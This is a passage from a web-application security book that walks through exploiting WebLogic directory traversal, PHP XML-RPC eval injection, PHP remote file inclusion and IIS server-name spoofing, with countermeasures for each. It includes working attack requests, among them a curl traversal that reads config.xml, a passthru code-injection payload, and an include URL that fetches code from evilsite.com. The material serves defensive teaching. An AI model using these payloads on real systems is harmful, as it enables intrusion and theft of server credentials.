Manual Exploitation

We showed you the easy way first because that's probably the way the majority of attacks are performed (since most malicious hacking follows the path of least resistance). However, more sophisticated attackers may expend substantially more time and effort to bring a web server down, so we'll take some time in this section to illustrate some of the finer points of a handcrafted attack. The key things to notice in this example are the increased level of time and skill brought to bear on identifying and then exploiting the vulnerability, as opposed to the Metasploit example. Take-home point: just because you run a web platform that doesn't rate a ton of attention from projects like Metasploit doesn't mean that you're any less vulnerable!

BEA WebLogic Remote Administration Exploit

Popularity:

6

Simplicity:

3

Impact:

9

Risk Rating:

6

 Attack    In February 2003, Kevin Spett of SPI Dynamics discovered a vulnerability in BEA's WebLogic Remote Administration feature. The vulnerability allowed an attacker to create a special HTTP request with commands located inside the headers that resulted in complete remote control of a WebLogic server. WebLogic is a popular J2EE platform that is used to host web applications and is considered one of the top web application servers available today.

Note 

It is rumored that this exploit was the foundation of the well-publicized 2005 incident in which celebrity Paris Hilton's T-Mobile Sidekick phone leaked information all over the Internet. Message to Paris and T-Mobile: patch your systems!

We'll re-create the behind-the-scenes sequence of events leading to the discovery and verification of this vulnerability so that you can see a sample of the thinking behind web platform vulnerability research.

In this case, the first step in identifying the vulnerability was to review the application code itself. In order to examine the WebLogic code, it first had to be decompiled.

Since many of the components in WebLogic are written in Java, this was an easy place to start. Several Java decompilers are availablethe one used for this research is called jad (for Java Disassembler). It is available for free and runs on a variety of operating systems (see the "References and Further Reading" section for a link to jad).

We installed the WebLogic server on Windows (although the processes we'll cover here are equally applicable for UNIX or Linux) and enumerated all of the pre-deployed components that run out-of-the-box (and thus are most likely to be targeted by attackers since they predominate in the wild).

When looking through the directory hierarchy for each server, a directory called ".internal" was identified. It contained two .war files: wl_management_internal1 and wl_ management_internal2. No information on either of these could be found in BEA's documentation. A quick request for http://www.site.com/wl_management_internal2 showed that something was definitely deployed at that URL. Based on the intriguing name and lack of documentation, this seemed like a good place to probe a little deeper.

A .war file is a package that contains a set of web applications. The file format is a Zip archive that contains two main directories, META-INF and WEB-INF. META-INF contains metadata about the package's contents, and the WEB-INF tree contains a hierarchy of executable Java classes, as well as the web.xml file, which specifies how the package's applications should be deployed. wl_management_internal2's web.xml file specifies two servlets, FileDistributionServlet and BootstrapServlet. The actual .class file for FileDistributionServlet is in /WEB-INF/classes/weblogic/management/servlet/. Using jad, FileDistributionServlet.class can be decompiled and we can view the source code:

 $ jad FileDistributionServlet.class $ cat FileDistributionServlet.jad 

The output, FileDistributionServlet.jad, is about nine hundred lines long. One of the main areas of focus when reviewing code for potential security issues is to look for where it processes external input, in this case, HTTP requests. Once we can find the input points, it's easy to follow the actions the applications take with the HTTP requests . In this case we identified that two functions were the entry points they were called doGet() and doPost(). These functions processed GET and POST HTTP requestsbingo. Here is a portion of the decompiled code for FileDistributionServlet's doGet() method:

 public void doGet(HttpRequest httprequest, HttpResponse httpresponse)          throws ServletException, IOException     {          String sTemp = httprequest.getHeader("wl_request_type");          try          { // Multiple If statements              if(sTemp.equals("wl_comrequest"))                   doSomeRequest(httprequest, httpresponse);              else              if(sTemp.equals("wl_xml_entity_request"))                   doGetXMLRequest(httprequest, httpresponse);              else              if(sTemp.equals("wl_reprequest")  sTemp.equals("wl_ filerequest")  sTemp.equals("wl_managedrequest"))              { // Complex Authentication Procedure                   catch(Exception loginerror)                   {                       MgmtLogger.logErrorServlet(sTemp, loginerror);                       httpresponse.send_Error(401, "Error authenticating user");                   }              } . 

This code referenced the value of an HTTP header called "wl_request_type". This is unusual, since HTTP clients usually communicate with the application using GET query and POST parameters. Headers are intended to be used by clients and servers to work out details of the HTTP exchange itself. The "if" statement checks to see whether the supplied value matches any of the strings. If it does not, a 400 Bad Request error is returned to the client. Of the matching values, three request types, "wl_reprequest", "wl_filerequest", and "wl_managedrequest", seem to go through an elaborate authentication procedure. The rest of them simply call another method and pass along the request as is. Since we know that three of the values are well protected via authentication, let's take a deeper look at the values that don't require any authentication. One of them, called the "wl_xml_ entity_request", looks promising . So we dig a little deeper.

Here is part of the code to the method that is used for the "wl_xml_entity_request":

 private void doGetXMLRequest(HttpRequest httprequest, HttpResponse httpresponse)          throws ServletException, IOException     {          String sTemp = httprequest.getHeader("xml-registry-name");          String sTP = httprequest.getHeader("xml-entity-path");                  XMLDir xmldir = new XMLDir(s);          InputStream inputstream = null;          byte abyte0[] = new byte[1000];                  BufferedOutputStream outputstream = new BufferedOutputStream(httpresponse.getOutputStream());          try          {              inputstream = xmldir.getEntity(sTP);              int count;              while((count = inputstream.read(abyte0)) != -1)                   outputstream.write(abyte0, 0, count);          }     } 

The method begins by reading the values of HTTP headers, "xml-registry-name" and "xml-entity-path". Next , the values are checked to see if they are either null or zero-length . Further down, an XMLDir object is created using the value of "xml-registry-name". After the HttpResponse object's output stream is opened, the XMLDir's getEntity() method is called using the "xml-entity-path" header. The output of this method is then returned in the response.

So, an undocumented application in a default install of WebLogic is taking client-supplied input and using it to pull data out of an object called an XMLDir. It certainly looks like a file is being opened and its contents are simply sent back to the client. Any sort of authentication is noticeably absent. The next step is to take a look at XMLDir to see what it is doing with these header values. After some searching, XMLDir.class was found in another WebLogic library, weblogic.jar. Just like FileDistributionServlet, its source code can be obtained by unzipping the file and running jad against it:

$ unzip weblogic.jar weblogic/xml/registry/XMLDir.class
$ jad XMLDir.class

Here is the relevant code from XMLDir:

 public XMLDir(String sTemp)     {          .          registryName = sTemp;     }             public InputStream getSomeEntity(String sTemp)          throws XMLRegistryException     {          if(isEntityLocal())              return getaLocalEntity(s);          else              return getaRemoteEntity(s);     }             private InputStream getaLocalEntity(String s)          throws XMLRegistryException     {          DomainA domain = Admin.getDomain();                  String s2 = domain.getRootDirectory();          File file = new File(s2, "xml/registries/" + registryName);          File file1 = new File(file, s);                  try          {              return new FileInputStream(file1);          }          .     } 

In the constructor, the member variable registryName is assigned the value of the xml-registry-name header. When getSomeEntity() is called, getaLocalEntity() will be invoked. Here, xml-registry-name is combined with a preset directory path and a file object for that directory is opened. A few lines later, a file is opened in that directory with the name of the xml-entity-path header. The resulting file will be returned. When this is called from FileDistributionServlet, the file will be sent to the client.

So we learn that by manipulating the values of the xml-registry-name and xml-entity-path headers, it is possible to execute a directory traversal attack and read any file on the server that the account running WebLogic has access to. Using two traversal substitutions ("../../") in xml-registry-dir, the intended directory can be escaped. That leaves us in the application's WEB-INF directory. By simply specifying this with xml-entity-path, the config.xml file can be retrieved. The config.xml file contains a variety of sensitive information about the application, often including usernames and passwords. The exploit request can be made using the curl program:

  $ curl -H "wl_request_type: wl_xml_entity_request" -H "xml-registry-   name: ../../" -H "xml-entity-path: config.xml" http://server/wl_   management_internal2/wl_management  

This produces the following HTTP request:

 GET /wl_management_internal2/wl_management HTTP/1.0 wl_request_type: wl_xml_entity_request xml-registry-name: ../../ xml-entity-path: config.xml 

The directory traversal problem is only the beginning of this bug. If you look through the code, you will find that many other functions are left unprotected . Depending on the host's operating system and the version of WebLogic, it may be possible to easily download the .war files for all of the deployed applications on the server, or even upload your own. In the case of the T-Mobile hack, the attacker had used this to upload his own files to the WebLogic server and establish several backdoors that were used for more than a year before he was caught.

BEA WebLogic Remote Administration Countermeasure

 Countermeasure    This vulnerability affected the following versions of WebLogic:

  • WebLogic Server and Express 6.0 on all platforms

  • WebLogic Server and Express 6.1 on all platforms

  • WebLogic Server and Express 7.0 on all platforms

  • WebLogic Server and Express 8.1 on all platforms

BEA released a patch for this issue in February, 2003. A good general recommendation would be to upgrade WebLogic to the latest version. You can obtain more information about this issue using links provided in the "References and Further Reading" section at the end of this chapter.

PEAR/PHP XML-RPC Code Execution

Popularity:

9

Simplicity:

9

Impact:

9

Risk Rating:

9

 Attack    In July of 2005, a vulnerability was found in PEAR/PHP XML-RPC, which allowed remote PCP code execution. This exploit had a very far-reaching impact, as many popular freeware applications used PEAR/PHP XML-RPC for their web services libraries. These apps included PostNuke, Drupal, b2evolution, and TikiWiki, to name a few. In fact, a worm was released in November of 2005 that made use of this exploit (among others), which is true to form for vulnerabilities that are this widespread. The worm was named Lupper or Plupii, depending on which malware vendor you asked.

How the exploit works is that in the XML parsing engine there is an eval() call that embeds user input from the outside XML request. This allows an attacker to craft a simple XML request and embed an attack string that breaks out of the eval() statement and allows piggybacking of PHP code. This exploit resembles the same type of attack method as SQL Injection or XSS as the attack string has to be munged to fit in the surrounding code in order to execute properly. Let's take a deeper look at how this exploit works.

In this example, we will walk through exploiting a vulnerable version of PhpAdsNew that uses PHP XML-RPC. PhpAdsNew uses a file called adxmlrpc.php for accepting web service requests, which in turn calls the XML-RPC library to process those requests. The actual attack is shown next and is quite simple. The attack is contained in the "name" field and consists of terminating the existing quote and passing in a PHP command to execute a directory listing (as shown in bold text).

Note 

The adxmlrpc.php script is just a gateway to the vulnerable XML-RPC library. In the case of other vulnerable applications, the exploit body is the same but the script being posted to changes to whatever script the application uses to process XML requests.

 POST /phpAdsNew/adxmlrpc.php HTTP/1.0 Host: localhost Content-Type: application/xml User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) Content-Length: 162 Connection: Close <?xml version="1.0"?><methodCall><methodName>junkname</ methodName><params><param><name>')  ;passthru(dir);//  </name><value>junk</ value></param></params></methodCall> 

The vulnerable server responds with a directory listing, as the remote attacker directed:

 HTTP/1.1 200 OK Connection: close Content-Type: text/html Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre- check=0 X-Powered-By: PHP/4.4.0 Server: Srv/4.0.0.4033          Volume in drive C has no label.  Volume Serial Number is 98C0-5EE5          Directory of C:\Apache\docs\phpAdsNew         11/11/2005  12:11 PM    <DIR>          . 11/11/2005  12:11 PM    <DIR>          .. 01/13/2005  04:43 PM                   6,166 adclick.php 03/14/2005  10:27 AM             3,280 adcontent.php 03/14/2005  10:12 AM                   5,077 adframe.php 01/13/2005  04:43 PM                   3,251 adimage.php 03/08/2005  12:14 AM                   4,435 adjs.php 01/13/2005  04:43 PM                   6,250 adlayer.php 01/13/2005  04:43 PM                   4,122 adlog.php 11/11/2005  12:11 PM    <DIR>                admin 01/13/2005  04:43 PM                   8,618 adpopup.php 01/13/2005  04:43 PM                   9,877 adview.php 10/09/2003  07:39 PM                      73 adx.js 01/13/2005  04:43 PM                   5,867 adxmlrpc.php 11/11/2005  12:11 PM    <DIR>                cache 11/11/2005  12:11 PM    <DIR>                client 11/10/2005  03:57 PM                   6,706 config.inc.php 01/13/2005  04:43 PM                   1,144 index.php 11/11/2005  12:11 PM    <DIR>                language 11/11/2005  12:11 PM    <DIR>                libraries 10/29/2002  10:01 PM                  15,515 LICENSE 11/11/2005  12:11 PM    <DIR>                maintenance 11/11/2005  12:11 PM    <DIR>                misc 01/13/2005  04:43 PM                   2,254 phpadsnew.inc.php 03/15/2005  11:20 AM                   5,273 README                 16 File(s)            87,908 bytes                  9 Dir(s)     10,690,588,672 bytes free <?xml version="1.0"?> <methodResponse> <fault>   <value>     <struct>        <member>          <name>faultCode</name>          <value><int>1</int></value>        </member>        <member>          <name>faultString</name>          <value><string>Unknown method</string></value>        </member>     </struct>   </value> </fault> </methodResponse> 

As you can see, this attack is very simple and very effective. We can take a closer look as to how this issue actually works by reviewing the code. The security issue lies in a piece of code located in lib-xmlrpcs.inc.php file that ships with the library. Inside the parseRequest() function is this chunk of code:

 // now add parameters in $plist=""; for($i=0; $i<sizeof($_xh[$parser]['params']); $i++) {       $plist.="$i - " .  $_xh[$parser]['params'][$i]. " \n";       eval('$m->addParam(' .  $_xh[$parser]['params'][$i]  . ");"); } 

This function takes each parameter that is defined in the XML request and embeds it in an eval function. The bolded portion of the text is the parameter name that is supplied via user input. So by injecting a parameter name that breaks out of the string via a single quote, the attacker can have their PHP code execute. In this case, we can just pass in a parameter name of ');phpinfo();// and cause the code to appear like the following example. This causes the phpinfo() function to run and the rest of the PHP code to be commented out.

 Eval('$m->addParam('  ');phpinfo();//  ");"); 

PEAR/PHP XML-RPC Countermeasure

 Countermeasure    Both PHP XML-RPC and PEAR XML-RPC released patched versions of their library that eliminates this vulnerability. For PHP XML-RPC, upgrade to version 1.2 or higher, and for PEAR XML-RPC, upgrade to version 1.4.3 or higher. Locations for obtaining these patches are listed in the "References and Further Reading" section at the end of this chapter.

PHP Remote Inclusion

Popularity:

7

Simplicity:

6

Impact:

9

Risk Rating:

6

 Attack    In 2001, Shaun Clowes published a paper entitled "A Study In Scarlet: Exploiting Common Vulnerabilities in PHP Applications." This paper discussed the ability to override or define variables in PHP via the URL. The impact of this paper is still not fully realized, so even now, several years later, the PHP issues discussed in that paper are still widely exploitable.

How does this issue work? It's actually quite simple; in PHP, one of the great features of the language was the ability to declare variables on the fly and not be required to initialize them. This is a great convenience factor for developers, but at the same time ends up creating some severe security penalties. Let's look at an example of how this works. The following bit of PHP code checks to see if the password being submitted matches correctly; if it does, then access is given by setting the $auth variable to 1. Later in the code, if the auth variable is set properly, then they are sent to the authenticated portion of the site.

 if ($password == "secret")    // Password is correct, Give them access  $auth = 1; ... if ($auth == 1)  // let them in 

When a user logs in, the data that is sent to this script might look similar to this:

http://www.site.com/login.php?password=secret&user=joe

Note 

Passwords should never be sent via the URL. This is for demonstration purposes only. Do not try this at home.

PHP will automatically create variables for this data called $password and $user, which can be accessed at anytime in code. This means that any variable in the code can be set to a value by just specifying it in the URL. How do you think the code will work when the following is sent?

http://www.site.com/login.php?password=junk&user=joe&auth=1

This will effectively set the $auth variable to the correct value and allow us to bypass the login. As we can see, this security issue has wide reaching effects and is the cause of multiple PHP security advisories. Now, an even bigger issue resulted from this problem. Many applications used filenames that consisted of variables in their include() statements that allowed hackers to overwrite those variables with pointers to their own PHP code and have the code execute on the system.

An Example Using WebInsta   We will walk through an example of this issue using WebInsta Mailing List manager, a COTS product based on PHP and targeted at small businesses and individuals. An advisory was released on March 10, 2005 detailing this security issue. One of the many security measures that PHP developers take is to rename any .inc file to .inc.php. This allows the PHP processor to process the file instead of it just dumping source code out to the user because of the unknown .inc extension. WebInsta did this, but in one of their scripts, adodb.inc.php, they had an uninitiliazed variable. The code excerpt here shows the beginning of the file:

 <?php $connection=false; if($database=="none") { }else { include($absolute_path.'inc/adodb/adodb.inc.php'); 

If we can control the value of the $absolute_path variable, then we can have it point to our own db.inc file, which will allow PHP code execution. Since we can see that $absolute_path was never defined, we know that this is exploitable. By inputting a URL with the variable defined to point to our own adodb.inc.php file on our web site, as shown next. Note that manual line breaks have been inserted due to page-width constraints:

 http://www.site.com:80/maillist/inc/initdb.php?      absolute_path=http://www.evilsite.com/ 

and creating a adodb.inc.php file on our web site with the following code,

 <? passthru("dir"); ?> 

$absolute_path will end up with the value of http://www.evilsite.com/inc/adodb/adodb.inc.php, which will evaluate and execute our directory listing, as shown here:

 GET /maillist/inc/initdb.php?absolute_path=http://www.evilsite.com/ HTTP/1.0 Host: www.site.com User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0) HTTP/1.1 200 OK Connection: close Content-Type: text/html Cache-control: no-store, no-cache, must-revalidate, post-check=0, pre- check=0 X-Powered-By: PHP/4.4.0 Server: Srv/4.0.0.4033          Volume in drive C has no label.  Volume Serial Number is 98C0-5EE5          Directory of C:\Apache\Docs\maillist\inc         11/15/2005  01:41 PM    <DIR>            . 11/15/2005  01:41 PM    <DIR>            .. 11/15/2005  01:41 PM    <DIR>            adodb 11/19/2004  11:04 PM                 125 config.php 05/07/2005  02:20 PM                 438 email_email_sent.php 11/19/2004  11:04 PM                 383 email_exist.php 04/23/2004  05:32 PM                 376 email_not_exist.php 05/07/2005  08:39 PM                 376 email_removed.php 01/10/2005  05:39 PM                 421 email_thanks.php 05/07/2005  08:39 PM                 576 functions.php 11/15/2005  01:42 PM               1,027 initdb.php 04/29/2004  06:45 PM               1,330 jscript.php                  9 File(s)          5,052 bytes                  3 Dir(s)  11,220,201,472 bytes free <br /> <b>Fatal error</b>:  Call to undefined function:  adonewconnection() in <b>C:\Apache\Docs\maillist\inc\initdb.php</b> on line <b>29</b><br /> 

PHP Inclusion Countermeasure

 Countermeasure    Since this has become such a large security issue, PHP introduced a setting called register_globals. Turning this setting off disables the ability to define variables via an HTTP request and effectively stops these types of attacks. As of PHP 4.2.0, register_globals is set to off by default. This does not mean that PHP applications that are running are now secure from this issue as many applications require that register_globals be set to on, and each application will do their own security filtering for this problem. As you know, this means that there is still a huge amount of PHP applications that are very vulnerable.

Note 

See the last section of this chapter, "Web Platform Security Best Practices," for some general tips on hardening PHP.

Remote IIS 5.x and IIS 6.0 Server Name Spoof

Popularity:

3

Simplicity:

3

Impact:

3

Risk Rating:

3

 Attack    This is a vulnerability that slipped below the radar for most people, even though the impact of this issue is quite high if you look closely at it. The original publication of this issue demonstrated how an attacker can access portions of ASP code, but when looking at it deeper, this attack allows the ability to spoof hostnames in badly -coded applications. Let's take a closer look at how this works.

The trouble occurs while developing a web application in ASP or .NET, where a developer needs to access the IP address of the web server where the application resides. A lot of developers will make one of the following calls in order to obtain the IP address or hostname of the web server the application is running on:

 Request.ServerVariables("SERVER_NAME") (ASP) Request.ServerVariables["SERVER_NAME"] (.NET) 

These calls return the "SERVER_NAME" value of the local environment variable. If the request originates from the Internet, the value of the variable is usually the web server's IP address. If the request is from the actual web server, the variable's value is "localhost". This behavior is summarized in Table 3-1.

Table 3-1: The Value of the SERVER_NAME Variable Depends on the Origin of the Request.

Origin of request

Value of SERVER_NAME variable

Web client

www.site.com

Web server

localhost

Developers often use this functionality to check whether or not the request is from localhost or not, and if the request is from localhost, then they will enable some level of restricted functionality to be opened. For example, developers will use this method to block requests to the administration page unless the request is originating from localhost.

This specific vulnerability results from how Microsoft used this method to handle their error files. By default, all IIS installations have the IISHelp directory that contains default IIS error messages. By default, the 500-100 error code is pointed at the "/iishelp/ common/500-100.asp" page. Thus, for any 500 error that occurs on the IIS server, IIS will use that page as a template for the response displayed back to the user. This is very common for VBScript errors and database errors.

The code of the 500-100.asp page on IIS 5.x Microsoft uses the Request.ServerVariables("SERVER_NAME") API to determine if the error is being displayed to a local user. If so, the error page dumps out source code that reveals the exact location where the error occurred. If the client was not local, then a generic error page is displayed, as shown in Figure 3-4.

HTTP 500.100 - internal Server Error - ASP error
Internet Information Services

Technical information (for support personnel)

  • Error Type:
    Microsoft VBScript compilation (0x800A03F2)
    Expected identifier
    /product_detail.asp, line 27, column 3

  • Browser Type:
    Mozilla/4.0 (compatible; MSIE 6.0; windows NT 5.0; .NET CLR 1.0.3705)

  • Page:
    GET /product_detail.asp


Figure 3-4: A normal IIS error message when seen from the Internet client displays generic information.

The vulnerability is that the "SERVER_NAME" variable can be overwritten. This can be done by specifying a value in either the Host: header or in the URL as GET http://spoof/file.asp. For example, by identifying ourselves as localhost with this following request:

 GET http://localhost/product_detail.asp?id=a HTTP/1.0 Host: 192.168.1.1 

We now receive the response shown next.

Technical information (for support personnel)

  • Error Type:
    Microsoft VBScript compilation (0x800A03F2)
    Expected identifier
    /product_detail.asp, line 27, column 3
    dim
    --^

Notice that this time we receive source code that accompanies the error message. While this, by itself, isn't very impressive, what we like about this issue is the sheer quirkiness and potential of the vulnerability. It's not a buffer overflow or a path traversal attack, but if you sit back a moment to consider the possible impact of this vulnerability, you'll find that it's quite impressive. We can see multi-host situations where developers could make use of this variable to restrict access to certain sites. In fact, we recently had the opportunity to make use of this issue and discovered that if we acted as localhost, we were taken to a developer administration page that allowed us to view all of the debugging information relating to that web site. Thanks, developer!

This spoof attack also brings to mind another closely related development issue that you'll commonly see. When using ASP and .NET, many developers will pull user input by using a call like this:

 Username = Request["username"] 

Let's take a closer look at this. The correct way to determine if a user is coming from localhost or specific IP address is to check the "REMOTE_ADDR" server variable. This tells you the client IP address. That's why a developer might add a line like this in their code,

if(Request["REMOTE_ADDR"] == "127.0.0.1")

thereby sending the user along their merry way to the administrative page. This works just as it should and will provide the proper value of the server variable. But if you're quick, you can easily identify that this can be bypassed by having the user specify the value on the URL like this:

http://www.site.com/auth.aspx?REMOTE_ADDR=127.0.0.1

This works because of the way user input is processed. It looks in the query collection for REMOTE_ADDR, then postdata, then cookies, and then finally server variables. Because the order that the variables are checked begins with the query first, this check successfully passes and shoots the hacker straight to the admin page. The quantity of sites that you see that are vulnerable to this type of mistake is quite amazing.

Remote IIS 5.x and IIS 6.0 Server Name Spoof Countermeasure

 Countermeasure    The countermeasure to this problem is to not use the "SERVER_NAME" variable for any type of hostname or IP address validation. Instead, use "REMOTE_ADDR" but do it properly::

Request.ServerVariables["REMOTE_ADDR"]

This will correctly and safely pull the remote address of the client. A good practice is to always use Request.ServerVariables[] when accessing any server variables.



Hacking Exposed Web Applications
HACKING EXPOSED WEB APPLICATIONS, 3rd Edition
ISBN: 0071740643
EAN: 2147483647
Year: 2006
Pages: 127

flylib.com © 2008-2017.
If you may any questions please contact us: flylib@qtcs.net